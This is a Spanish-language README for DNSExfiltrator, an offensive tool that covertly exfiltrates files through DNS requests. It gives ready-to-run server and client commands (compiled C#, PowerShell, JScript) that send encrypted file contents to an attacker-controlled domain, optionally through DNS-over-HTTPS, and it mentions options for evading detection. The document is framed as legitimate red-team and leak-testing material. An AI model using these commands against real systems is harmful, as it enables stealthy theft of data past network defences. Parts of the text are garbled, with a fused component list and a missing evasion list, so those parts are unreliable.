
Exfiltración de datos a través de un canal encubierto de solicitudes DNS
Autor: Arno0x0x - @Arno0x0x
DNSExfiltrator permite transferir (exfiltrar) un archivo a través de un canal encubierto de solicitudes DNS. Es básicamente una herramienta de prueba de fugas de datos que permite exfiltrar datos a través de un canal encubierto.
DNSExfiltrator tiene dos partes:
dnsexfiltrator.py), que actúa como un servidor DNS personalizado, recibiendo el archivo.dnsExfiltrator.cs: un script de C# que puede compilarse con csc.exe para proporcionar un ejecutable administrado de Windows.Invoke-DNSExfiltrator.ps1: un script de PowerShell que proporciona exactamente las mismas funcionalidades al envolver el ensamblado dnsExfiltrator.dnsExfiltrator.js: un script JScript que es una conversión del ensamblado DLL dnsExiltrator usando DotNetToJScript, y que proporciona exactamente las mismas funcionalidades.Para que todo funcione debes poseer un nombre de dominio y configurar el registro DNS (NS) de ese dominio para que apunte al servidor que ejecutará el lado servidor de dnsexfiltrator.py.
Por defecto, DNSExfiltrator utiliza el servidor DNS definido por el sistema, pero también puedes configurar uno específico (útil para depuración o para ejecutar el lado del servidor localmente, por ejemplo).
Alternativamente, usando el parámetro h, DNSExfiltrator puede realizar DoH (DNS sobre HTTP) usando los servidores DoH de Google o CloudFlare.
Por defecto, los datos a exfiltrar se codifican en base64URL para que quepan en las solicitudes DNS. Sin embargo, algunos resolvedores DNS pueden romper esta codificación (bastante justo ya que los FQDN no se supone que distingan entre mayúsculas y minúsculas de todos modos) al alterar la sensibilidad a mayúsculas/minúsculas, lo cual obviamente es importante para el proceso de codificación/descodificación. Para solucionar este problema, puedes usar la opción -b32 para forzar la codificación Base32 de los datos, lo que conlleva un pequeño aumento de tamaño. Si estás usando CloudFlare DoH, la codificación base32 se aplica automáticamente.
DNSExfiltrator soporta cifrado RC4 básico de los datos exfiltrados, usando la contraseña proporcionada para cifrar/descifrar los datos.
DNSExfiltrator también proporciona algunas características opcionales para evitar la detección:
La única dependencia está en el lado del servidor, ya que el script dnsexfiltrator.py depende de la librería externa dnslib. Puedes instalarla usando pip:
pip install -r requirements.txt
LADO DEL SERVIDOR
Inicia el script dnsexfiltrator.py pasándole el nombre de dominio y la contraseña de descifrado a utilizar:
root@kali:~# ./dnsexfiltrator.py -d mydomain.com -p password
LADO DEL CLIENTE
Puedes ya sea usar la versión compilada, o el envoltorio de PowerShell (que es básicamente lo mismo) o el envoltorio JScript. En cualquier caso, los parámetros son los mismos, con una ligera diferencia en la forma de pasarlos en PowerShell.
1/ Usando el ejecutable de Windows compilado en C# (que puedes encontrar en el directorio release):
dnsExfiltrator.exe <file> <domainName> <password> [-b32] [h=google|cloudflare] [s=<DNS_server>] [t=<throttleTime>] [r=<requestMaxSize>] [l=<labelMaxSize>]
file: [OBLIGATORIO] El nombre del archivo a exfiltrar.
domainName: [OBLIGATORIO] El nombre de dominio a usar para las solicitudes DNS.
password: [OBLIGATORIO] Contraseña usada para cifrar los datos a exfiltrar.
-b32: [OPCIONAL] Usar codificación base32 de los datos. Puede ser requerido por algunos resolvedores DNS que alteran mayúsculas/minúsculas.
h: [OPCIONAL] Usar servidores DoH (DNS sobre HTTP) de Google o CloudFlare.
DNS_Server: [OPCIONAL] El nombre o IP del servidor DNS a usar para las solicitudes DNS. Por defecto usa el del sistema.
throttleTime: [OPCIONAL] El tiempo en milisegundos a esperar entre cada solicitud DNS.
requestMaxSize: [OPCIONAL] El tamaño máximo en bytes para cada solicitud DNS. Por defecto 255 bytes.
labelMaxSize: [OPCIONAL] El tamaño máximo en caracteres para cada etiqueta (subdominio) de la solicitud DNS. Por defecto 63 caracteres.
2/ Usando el script de PowerShell, pues, llámalo de la forma que prefieras (probablemente conoces montones de formas de invocar un script de PowerShell) junto con los parámetros del script. Ejemplo más básico:
c:\DNSExfiltrator> powershell
PS c:\DNSExfiltrator> Import-Module .\Invoke-DNSExfiltrator.ps1
PS c:\DNSExfiltrator> Invoke-DNSExfiltrator -i inputFile -d mydomain.com -p password -s my.dns.server.com -t 500
[...]
Consulta la sección EJEMPLOS en el archivo del script para más ejemplos de uso.

3/ Usando el script JScript, pásale exactamente los mismos argumentos que usarías con el ejecutable independiente de Windows:
cscript.exe dnsExiltrator.js inputFile mydomain.com password
O, con algunas opciones:
cscript.exe dnsExiltrator.js inputFile mydomain.com password s=my.dns.server.com t=500
Esta herramienta está destinada a ser utilizada solo de manera legal y legítima:
Citando a los autores de Empire: No hay manera de construir herramientas ofensivas útiles para la industria legítima de seguridad informática mientras se impide simultáneamente que actores maliciosos abusen de ellas.